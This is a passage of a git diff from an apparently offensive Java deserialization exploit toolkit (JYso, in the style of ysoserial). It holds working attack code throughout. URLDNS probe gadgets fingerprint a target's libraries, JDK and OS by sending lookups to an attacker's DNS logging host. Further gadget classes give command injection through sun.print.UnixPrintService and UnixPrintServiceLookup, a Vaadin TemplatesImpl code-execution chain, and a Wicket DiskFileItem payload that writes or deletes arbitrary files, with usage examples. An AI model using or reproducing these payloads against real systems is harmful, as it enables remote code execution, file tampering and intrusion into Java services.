"org.apache.commons.jexl2.JexlParser"); + Object jexl3 = getURLDNSGadget("jexl3." + dnsLog, "org.apache.commons.jexl3.scripting.JexlScriptEngine"); + Object ognl = getURLDNSGadget("ognl." + dnsLog, "com.opensymphony.xwork2.ActionSupport"); + Object NativeLibLoader = getURLDNSGadget("NativeLibLoader." + dnsLog, "com.sun.glass.utils.NativeLibLoader"); + Object velocity_jndi_write = getURLDNSGadget("velocity_jndi_write." + dnsLog, "org.apache.velocity.texen.util.FileUtil"); + Object h2_create_dir = getURLDNSGadget("h2_create_dir." + dnsLog, "org.h2.store.fs.FileUtils"); + Object websphere_jar_rce_ClientJ2CCFFactory = getURLDNSGadget("websphere_jar_rce_ClientJ2CCFFactory." + dnsLog, "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory"); + Object websphere_jar_rce_ServiceFactory = getURLDNSGadget("websphere_jar_rce_ServiceFactory." + dnsLog, "com.ibm.ws.client.applicationclient.ServiceFactory"); + Object PropertiesConfiguration = getURLDNSGadget("PropertiesConfiguration." + dnsLog, "org.apache.commons.configuration.PropertiesConfiguration"); + list.add(BeanFactory_game_over); + list.add(BeanFactory_yes); + list.add(bes_BeanFactory); + list.add(el); + list.add(groovy); + list.add(BurlapProxyFactory_ObjectFactory); + list.add(MemoryUserDatabaseFactory_ObjectFactory); + list.add(UserDatabase); + list.add(GenericNamingResourcesFactory_ObjectFactory); + list.add(Configuration_modify_system_property); + list.add(Configuration2_modify_system_property); + list.add(groovy_modify_system_env); + list.add(ibm_ObjectFactory); + list.add(ibm_ObjectFactory2); + list.add(snakeyaml); + list.add(xstream); + list.add(mvel2_ShellSession); + list.add(mvel2); + list.add(jexl2); + list.add(jexl3); + list.add(ognl); + list.add(NativeLibLoader); + list.add(velocity_jndi_write); + list.add(h2_create_dir); + list.add(websphere_jar_rce_ClientJ2CCFFactory); + list.add(websphere_jar_rce_ServiceFactory); + list.add(PropertiesConfiguration); + break; + case "datasource": + Object jndi_factory_bypass_alibaba_druid = getURLDNSGadget("jndi_factory_bypass_alibaba_druid." + dnsLog, "com.alibaba.druid.pool.DruidDataSourceFactory"); + list.add(jndi_factory_bypass_alibaba_druid); + Object jndi_factory_bypass_tomcat7_and_dbcp1 = getURLDNSGadget("jndi_factory_bypass_tomcat7_and_dbcp1." + dnsLog, "org.apache.tomcat.dbcp.dbcp1.BasicDataSource"); + list.add(jndi_factory_bypass_tomcat7_and_dbcp1); + Object jndi_factory_bypass_tomcat8_and_dbcp2 = getURLDNSGadget("jndi_factory_bypass_tomcat8_and_dbcp2." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"); + list.add(jndi_factory_bypass_tomcat8_and_dbcp2); + Object jndi_factory_bypass_common_dbcp = getURLDNSGadget("jndi_factory_bypass_common_dbcp." + dnsLog, "org.apache.commons.dbcp.BasicDataSourceFactory"); + list.add(jndi_factory_bypass_common_dbcp); + Object jndi_factory_bypass_common_dbcp2 = getURLDNSGadget("jndi_factory_bypass_common_dbcp2." + dnsLog, "org.apache.commons.dbcp2.BasicDataSourceFactory"); + list.add(jndi_factory_bypass_common_dbcp2); + Object jndi_factory_bypass_tomcat_jdbc = getURLDNSGadget("jndi_factory_bypass_tomcat_jdbc." + dnsLog, "org.apache.tomcat.jdbc.pool.DataSourceFactory"); + list.add(jndi_factory_bypass_tomcat_jdbc); + Object jndi_spring = getURLDNSGadget("jndi_spring." + dnsLog, "org.springframework.beans.factory.config.PropertyPathFactoryBean"); + list.add(jndi_spring); + Object HikariJNDIFactory_DataSource = getURLDNSGadget("HikariJNDIFactory_DataSource." + dnsLog, "com.zaxxer.hikari.HikariJNDIFactory"); + list.add(HikariJNDIFactory_DataSource); + Object teradata_DataSource = getURLDNSGadget("teradata_DataSource." + dnsLog, "com.teradata.jdbc.TeraDataSource"); + list.add(teradata_DataSource); + break; + case "db": + Object mysql_driver = getURLDNSGadget("mysql_driver." + dnsLog, "com.mysql.jdbc.Driver"); + Object mysql_cj_driver = getURLDNSGadget("mysql_cj_driver." + dnsLog, "com.mysql.cj.jdbc.Driver"); + Object postgresql_driver = getURLDNSGadget("postgresql_driver." + dnsLog, "org.postgresql.Driver"); + Object hsqldb_driver = getURLDNSGadget("hsqldb_driver." + dnsLog, "org.hsqldb.jdbcDriver"); + Object h2_driver = getURLDNSGadget("h2_driver." + dnsLog, "org.h2.Driver"); + Object sqlite_driver = getURLDNSGadget("sqlite_driver." + dnsLog, "org.sqlite.JDBC"); + Object derby_driver = getURLDNSGadget("derby_driver." + dnsLog, "org.apache.derby.jdbc.EmbeddedDriver"); + Object teradata_drvier = getURLDNSGadget("teradata_drvier." + dnsLog, "com.teradata.jdbc.TeraDriver"); + Object db2_driver = getURLDNSGadget("db2_driver." + dnsLog, "COM.ibm.db2.jcc.DB2Driver"); + Object modeshape_driver = getURLDNSGadget("modeshape_driver." + dnsLog, "org.modeshape.jdbc.LocalJcrDriver"); + Object fabric_driver = getURLDNSGadget("fabric_driver." + dnsLog, "com.mysql.fabric.jdbc.FabricMySQLDriver"); + Object dm_driver = getURLDNSGadget("dm_driver." + dnsLog, "dm.jdbc.driver.DmDriver"); + Object sqlserver_driver = getURLDNSGadget("sqlserver_driver." + dnsLog, "com.microsoft.sqlserver.jdbc.SQLServerDriver"); + Object microsoft_driver = getURLDNSGadget("microsoft_driver." + dnsLog, "com.microsoft.jdbc.sqlserver.SQLServerDriver"); + Object oracle_driver = getURLDNSGadget("oracle_driver." + dnsLog, "oracle.jdbc.OracleDriver"); + Object oracle_driver2 = getURLDNSGadget("oracle_driver2." + dnsLog, "oracle.jdbc.driver.OracleDriver"); + Object jtds_driver = getURLDNSGadget("jtds_driver." + dnsLog, "net.sourceforge.jtds.jdbc.Driver"); + Object mariadb_driver = getURLDNSGadget("mariadb_driver." + dnsLog, "org.mariadb.jdbc.Driver"); + Object kingbase_driver = getURLDNSGadget("kingbase_driver." + dnsLog, "com.kingbase.Driver"); + Object kingbase8_driver = getURLDNSGadget("kingbase8_driver." + dnsLog, "com.kingbase8.Driver"); + Object shen_tong_driver = getURLDNSGadget("shen_tong_driver." + dnsLog, "com.oscar.Driver"); + Object Gbase8s_driver = getURLDNSGadget("Gbase8s_driver." + dnsLog, "com.gbasedbt.jdbc.Driver"); + Object xugu_driver = getURLDNSGadget("xugu_driver." + dnsLog, "com.xugu.cloudjdbc.Driver"); + Object GoldenDB_driver = getURLDNSGadget("GoldenDB_driver." + dnsLog, "com.goldendb.jdbc.Driver"); + list.add(mysql_driver); + list.add(mysql_cj_driver); + list.add(postgresql_driver); + list.add(hsqldb_driver); + list.add(h2_driver); + list.add(sqlite_driver); + list.add(derby_driver); + list.add(teradata_drvier); + list.add(db2_driver); + list.add(modeshape_driver); + list.add(fabric_driver); + list.add(dm_driver); + list.add(sqlserver_driver); + list.add(microsoft_driver); + list.add(oracle_driver); + list.add(oracle_driver2); + list.add(jtds_driver); + list.add(mariadb_driver); + list.add(kingbase_driver); + list.add(kingbase8_driver); + list.add(shen_tong_driver); + list.add(Gbase8s_driver); + list.add(xugu_driver); + list.add(GoldenDB_driver); + break; + case "cb": + Object cb17 = getURLDNSGadget("cb17." + dnsLog, "org.apache.commons.beanutils.MappedPropertyDescriptor$1"); + Object cb18 = getURLDNSGadget("cb18." + dnsLog, "org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry"); + Object cb19 = getURLDNSGadget("cb19." + dnsLog, "org.apache.commons.beanutils.BeanIntrospectionData"); + Object cb_BeanComparator = getURLDNSGadget("cb_BeanComparator." + dnsLog, "org.apache.commons.beanutils.BeanComparator"); + list.add(cb17); + list.add(cb18); + list.add(cb19); + list.add(cb_BeanComparator); + break; + case "CommonsCollections13567": + //CommonsCollections1/3/5/6/7链,需要<=3.2.1版本 + Object cc3_ChainedTransformer = getURLDNSGadget("cc3_ChainedTransformer." + dnsLog, "org.apache.commons.collections.functors.ChainedTransformer"); + Object cc31 = getURLDNSGadget("cc31." + dnsLog, "org.apache.commons.collections.list.TreeList"); + Object cc4_exist = getURLDNSGadget("cc4_exist." + dnsLog, "org.apache.commons.collections4.comparators.TransformingComparator"); + Object cc40_ChainedTransformer = getURLDNSGadget("cc40_ChainedTransformer." + dnsLog, "org.apache.commons.collections4.functors.ChainedTransformer"); + Object cc322 = getURLDNSGadget("cc322." + dnsLog, "org.apache.commons.collections.ExtendedProperties$1"); + Object cc41_game_over = getURLDNSGadget("cc41_game_over." + dnsLog, "org.apache.commons.collections4.FluentIterable"); + list.add(cc3_ChainedTransformer); + list.add(cc322); + list.add(cc4_exist); + list.add(cc40_ChainedTransformer); + list.add(cc41_game_over); + list.add(cc31); + break; + case "CommonsCollections24": + //CommonsCollections2/4链,需要4-4.0版本 + Object cc40 = getURLDNSGadget("cc40." + dnsLog, "org.apache.commons.collections4.functors.ChainedTransformer"); + Object cc41 = getURLDNSGadget("cc41." + dnsLog, "org.apache.commons.collections4.FluentIterable"); + list.add(cc40); + list.add(cc41); + break; + case "C3P0": + //c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104 + Object c3p092x = getURLDNSGadget("c3p092x." + dnsLog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); + Object c3p095x = getURLDNSGadget("c3p095x." + dnsLog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource"); + list.add(c3p092x); + list.add(c3p095x); + break; + case "AspectJWeaver": + //aspectjweaver,需要cc31 + Object ajw = getURLDNSGadget("ajw." + dnsLog, "org.aspectj.weaver.tools.cache.SimpleCache"); + list.add(ajw); + break; + case "bsh": + //bsh,serialVersionUID不同,2.0b4为4949939576606791809,2.0b5为4041428789013517368,2.0.b6无法反序列化 + Object bsh20b4 = getURLDNSGadget("bsh20b4." + dnsLog, "bsh.CollectionManager$1"); + Object bsh20b5 = getURLDNSGadget("bsh20b5." + dnsLog, "bsh.engine.BshScriptEngine"); + Object bsh20b6 = getURLDNSGadget("bsh20b6." + dnsLog, "bsh.collection.CollectionIterator$1"); + list.add(bsh20b4); + list.add(bsh20b5); + list.add(bsh20b6); + break; + case "Groovy": + //Groovy,1.7.0-2.4.3,serialVersionUID不同,2.4.x为-8137949907733646644,2.3.x为1228988487386910280 + Object groovy1702311 = getURLDNSGadget("groovy1702311." + dnsLog, "org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet"); + Object groovy24x = getURLDNSGadget("groovy24x." + dnsLog, "groovy.lang.Tuple2"); + Object groovy244 = getURLDNSGadget("groovy244." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); + Object groovy_classloader = getURLDNSGadget("groovy_classloader." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); + list.add(groovy1702311); + list.add(groovy24x); + list.add(groovy244); + list.add(groovy_classloader); + break; + case "Becl": + //Becl,JDK<8u251 + Object becl = getURLDNSGadget("becl." + dnsLog, "com.sun.org.apache.bcel.internal.util.ClassLoader"); + list.add(becl); + break; + case "Jdk7u21": + //JDK<=7u21 + Object Jdk7u21 = getURLDNSGadget("Jdk7u21." + dnsLog, "com.sun.corba.se.impl.orbutil.ORBClassLoader"); + list.add(Jdk7u21); + break; + case "JRE8u20": + //7u25<=JDK<=8u20,虽然叫JRE8u20其实JDK8u20也可以,这个检测不完美,8u25版本以及JDK<=7u21会误报,可综合Jdk7u21来看 + Object jdk7u21 = getURLDNSGadget("jdk7u21." + dnsLog, "com.sun.corba.se.impl.orbutil.ORBClassLoader"); + list.add(jdk7u21); + Object jdk_7u25_to_8u20 = getURLDNSGadget("jdk_7u25_to_8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); + list.add(jdk_7u25_to_8u20); + Object AspectJWeaver = getURLDNSGadget("AspectJWeaver." + dnsLog, "org.aspectj.weaver.tools.cache.SimpleCache"); + list.add(AspectJWeaver); + Object ClassPathXmlApplicationContext = getURLDNSGadget("ClassPathXmlApplicationContext." + dnsLog, "org.springframework.context.support.ClassPathXmlApplicationContext"); + list.add(ClassPathXmlApplicationContext); + Object Rome_low_ToStringBean = getURLDNSGadget("Rome_low_ToStringBean." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); + list.add(Rome_low_ToStringBean); + Object Rome_high_ObjectBean = getURLDNSGadget("Rome_high_ObjectBean." + dnsLog, "com.rometools.rome.feed.impl.ObjectBean"); + list.add(Rome_high_ObjectBean); + break; + case "ROME": + //rome <= 1.11.1 + Object rome1000 = getURLDNSGadget("rome1000." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); + Object rome1111 = getURLDNSGadget("rome1111." + dnsLog, "com.rometools.rome.feed.impl.ObjectBean"); + list.add(rome1000); + list.add(rome1111); + break; + case "Jackson": + //jackson-databind>=2.10.0存在一个链 + //此链实战中有50%概率触发getStylesheetDOM导致不成功,因此需要org.springframework.aop.framework.JdkDynamicAopProxy封装,这个类的jar包和springAOP一样 + Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization"); + list.add(jackson2100); + break; + case "SpringAOP": + //fastjon/jackson两个链触发toString的变种,都需要springAOP + Object springAOP = getURLDNSGadget("SpringAOP." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource"); + list.add(springAOP); + break; + case "winlinux": + //windows/linux版本判断 + try { + Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); + Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); + list.add(linux); + list.add(windows); +// Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem"); +// Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem"); +// list.add(linux1); +// list.add(windows1); + } catch (Exception e) { + log.error("e: ", e); + } + + + break; + + case "all": + try { + for (String aClass : defaultClass) { + setList(aClass, dnsLog); + } + } catch (Exception e) { + log.error("e: ", e); + } + break; + default: + Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName); + list.add(hm); + break; + } + } + + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String tYPE = command.substring(0, sep); + String url = command.substring(sep + 1); + + switch (tYPE) { + case "all": + setList("all", url); + break; + case "os": + setList("winlinux", url); + break; + case "cc": + setList("CommonsCollections13567", url); + setList("CommonsCollections24", url); + break; + case "cb": + setList("cb", url); + break; + case "db": + setList("db", url); + break; + case "jndiAttack": + setList("jndiAttack", url); + break; + case "datasource": + setList("datasource", url); + break; + case "jdk": + setList("jdk", url); + break; + case "web": + setList("web", url); + break; + case "other": + setList("other", url); + break; + + case "null": + return getURLDNSGadget(url, null); + default: + setList(tYPE, url); + } + + return list; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java index d62cf5e..d23c998 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java +++ b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java @@ -1,19 +1,19 @@ -package com.qi4l.JYso.gadgets; - -import java.lang.reflect.Constructor; - -//该类未实现 Serializable,只适用于Hessian反序列化 并且只适用于unix/linux -//jdk高版本移除此类 -//通过getter方法触发命令注入 -//本地测试 zulu8u345 存在此类 - -@SuppressWarnings({"unused"}) -public class UnixPrintService implements ObjectPayload{ - @Override - public Object getObject(String command) throws Exception { - Class ups = Class.forName("sun.print.UnixPrintService"); - Constructor declaredConstructor = ups.getDeclaredConstructor(String.class); - declaredConstructor.setAccessible(true); - return declaredConstructor.newInstance(";" + command); - } -} +package com.qi4l.JYso.gadgets; + +import java.lang.reflect.Constructor; + +//该类未实现 Serializable,只适用于Hessian反序列化 并且只适用于unix/linux +//jdk高版本移除此类 +//通过getter方法触发命令注入 +//本地测试 zulu8u345 存在此类 + +@SuppressWarnings({"unused"}) +public class UnixPrintService implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + Class ups = Class.forName("sun.print.UnixPrintService"); + Constructor declaredConstructor = ups.getDeclaredConstructor(String.class); + declaredConstructor.setAccessible(true); + return declaredConstructor.newInstance(";" + command); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java index d3a6b38..40c2ad2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java +++ b/src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java @@ -1,21 +1,21 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.utils.Reflections; -import sun.misc.Unsafe; - -import java.lang.reflect.Field; - -@SuppressWarnings({"unused"}) -public class UnixPrintServiceLookup implements ObjectPayload{ - @Override - public Object getObject(String command) throws Exception { - Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafe.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafe.get(null); - Object unixPrintServiceLookup = unsafe.allocateInstance(Class.forName("sun.print.UnixPrintServiceLookup")); - Reflections.setFieldValue(unixPrintServiceLookup, "cmdIndex", 0); - Reflections.setFieldValue(unixPrintServiceLookup, "osname", "xx"); - Reflections.setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{command, command, command}); - return unixPrintServiceLookup; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import sun.misc.Unsafe; + +import java.lang.reflect.Field; + +@SuppressWarnings({"unused"}) +public class UnixPrintServiceLookup implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafe.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafe.get(null); + Object unixPrintServiceLookup = unsafe.allocateInstance(Class.forName("sun.print.UnixPrintServiceLookup")); + Reflections.setFieldValue(unixPrintServiceLookup, "cmdIndex", 0); + Reflections.setFieldValue(unixPrintServiceLookup, "osname", "xx"); + Reflections.setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{command, command, command}); + return unixPrintServiceLookup; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java b/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java index 8c6569b..ffdcc3b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java @@ -1,75 +1,75 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.vaadin.data.util.NestedMethodProperty; -import com.vaadin.data.util.PropertysetItem; - -import javax.management.BadAttributeValueExpException; - - -/** - * +-------------------------------------------------+ - * | | - * | BadAttributeValueExpException | - * | | - * | val ==> PropertysetItem | - * | | - * | readObject() ==> val.toString() | - * | + | - * +----------|--------------------------------------+ - * | - * | - * | - * +----|-----------------------------------------+ - * | v | - * | PropertysetItem | - * | | - * | toString () => getPropertyId().getValue () | - * | + | - * +---------------------------------------|------+ - * | - * +-----------------------------+ - * | - * +-----|----------------------------------------------+ - * | v | - * | NestedMethodProperty | - * | | - * | getValue() => java.lang.reflect.Method.invoke () | - * | | | - * +-------------------------------------------|--------+ - * | - * +-----------------------------------+ - * | - * +---|--------------------------------------------+ - * | v | - * | TemplatesImpl.getOutputProperties() | - * | | - * +------------------------------------------------+ - */ -@SuppressWarnings({"unused"}) -@Dependencies({"com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14"}) -@Authors({Authors.KULLRICH}) -public class Vaadin1 implements ObjectPayload { - public static boolean isApplicableJavaVersion() { - return JavaVersion.isBadAttrValExcReadObj(); - } - - @Override - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - PropertysetItem pItem = new PropertysetItem(); - - NestedMethodProperty nmprop = new NestedMethodProperty<>(templates, "outputProperties"); - pItem.addItemProperty("outputProperties", nmprop); - - BadAttributeValueExpException b = new BadAttributeValueExpException(""); - Reflections.setFieldValue(b, "val", pItem); - - return b; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.vaadin.data.util.NestedMethodProperty; +import com.vaadin.data.util.PropertysetItem; + +import javax.management.BadAttributeValueExpException; + + +/** + * +-------------------------------------------------+ + * | | + * | BadAttributeValueExpException | + * | | + * | val ==> PropertysetItem | + * | | + * | readObject() ==> val.toString() | + * | + | + * +----------|--------------------------------------+ + * | + * | + * | + * +----|-----------------------------------------+ + * | v | + * | PropertysetItem | + * | | + * | toString () => getPropertyId().getValue () | + * | + | + * +---------------------------------------|------+ + * | + * +-----------------------------+ + * | + * +-----|----------------------------------------------+ + * | v | + * | NestedMethodProperty | + * | | + * | getValue() => java.lang.reflect.Method.invoke () | + * | | | + * +-------------------------------------------|--------+ + * | + * +-----------------------------------+ + * | + * +---|--------------------------------------------+ + * | v | + * | TemplatesImpl.getOutputProperties() | + * | | + * +------------------------------------------------+ + */ +@SuppressWarnings({"unused"}) +@Dependencies({"com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14"}) +@Authors({Authors.KULLRICH}) +public class Vaadin1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + PropertysetItem pItem = new PropertysetItem(); + + NestedMethodProperty nmprop = new NestedMethodProperty<>(templates, "outputProperties"); + pItem.addItemProperty("outputProperties", nmprop); + + BadAttributeValueExpException b = new BadAttributeValueExpException(""); + Reflections.setFieldValue(b, "val", pItem); + + return b; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java b/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java index b602988..2bc85f8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java @@ -1,103 +1,103 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.codec.binary.Base64; -import org.apache.wicket.util.io.DeferredFileOutputStream; -import org.apache.wicket.util.io.ThresholdingOutputStream; -import org.apache.wicket.util.upload.DiskFileItem; - -import java.io.File; -import java.io.OutputStream; -import java.nio.charset.StandardCharsets; -import java.util.Arrays; - -/** - * This gadget is almost identical to FileUpload1 since it appears - * that Apache Wicket copied a version of Apache Commons DiskFileItem - * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That - * means that if the target is running less than Oracle Java 7 update 40 - * then the NULL byte attack is viable. Otherwise, copy and move attacks - * always work. - *

- * This attack is valid for the 1.x and 6.x lines of Apache Wicket but - * was fixed in 1.5.16 and 6.24.0 (released July 2016). - *

- *

- * Arguments: - * - copyAndDelete;sourceFile;destDir - * - write;destDir;ascii-data - * - writeB64;destDir;base64-data - * - writeOld;destFile;ascii-data - * - writeOldB64;destFile;base64-data - *

- * Example: - * Wicket1 "write;/tmp;blue lobster" - *

- * Result: - * $ ls -l /tmp/ - * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp - * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp - * blue lobster - */ -@SuppressWarnings({"unused"}) -@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) -@Authors({Authors.JACOBAINES}) -public class Wicket1 implements ReleaseableObjectPayload { - private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception { - return makePayload(0, copyTo, copyAndDelete, new byte[1]); - } - - // writes data to a random filename (update__.tmp) - private static DiskFileItem write(String dir, byte[] data) throws Exception { - return makePayload(data.length + 1, dir, dir + "/whatever", data); - } - - // writes data to an arbitrary file - private static DiskFileItem writeOldJRE(String file, byte[] data) throws Exception { - return makePayload(data.length + 1, file + "\0", file, data); - } - - private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception { - // if thresh < written length, delete outputFile after copying to repository temp file - // otherwise write the contents to repository temp file - File repository = new File(repoPath); - DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); - File outputFile = new File(filePath); - DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); - OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); - os.write(data); - Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); - Reflections.setFieldValue(diskFileItem, "dfos", dfos); - Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); - return diskFileItem; - } - - @Override - public DiskFileItem getObject(String command) throws Exception { - String[] parts = command.split(";"); - - if (parts.length != 3) { - throw new IllegalArgumentException("Bad command format."); - } - - if ("copyAndDelete".equals(parts[0])) { - return copyAndDelete(parts[1], parts[2]); - } else if ("write".equals(parts[0])) { - return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); - } else if ("writeB64".equals(parts[0])) { - return write(parts[1], Base64.decodeBase64(parts[2])); - } else if ("writeOld".equals(parts[0])) { - return writeOldJRE(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); - } else if ("writeOldB64".equals(parts[0])) { - return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); - } - throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); - } - - @Override - public void release(Object obj) throws Exception { - - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.wicket.util.io.DeferredFileOutputStream; +import org.apache.wicket.util.io.ThresholdingOutputStream; +import org.apache.wicket.util.upload.DiskFileItem; + +import java.io.File; +import java.io.OutputStream; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; + +/** + * This gadget is almost identical to FileUpload1 since it appears + * that Apache Wicket copied a version of Apache Commons DiskFileItem + * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That + * means that if the target is running less than Oracle Java 7 update 40 + * then the NULL byte attack is viable. Otherwise, copy and move attacks + * always work. + *

+ * This attack is valid for the 1.x and 6.x lines of Apache Wicket but + * was fixed in 1.5.16 and 6.24.0 (released July 2016). + *

+ *

+ * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + *

+ * Example: + * Wicket1 "write;/tmp;blue lobster" + *

+ * Result: + * $ ls -l /tmp/ + * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * blue lobster + */ +@SuppressWarnings({"unused"}) +@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) +@Authors({Authors.JACOBAINES}) +public class Wicket1 implements ReleaseableObjectPayload { + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write(String dir, byte[] data) throws Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writeOldJRE(String file, byte[] data) throws Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + @Override + public DiskFileItem getObject(String command) throws Exception { + String[] parts = command.split(";"); + + if (parts.length != 3) { + throw new IllegalArgumentException("Bad command format."); + } + + if ("copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } else if ("write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); + } else if ("writeB64".equals(parts[0])) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } else if ("writeOld".equals(parts[0])) { + return writeOldJRE(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); + } else if ("writeOldB64".equals(parts[0])) { + return 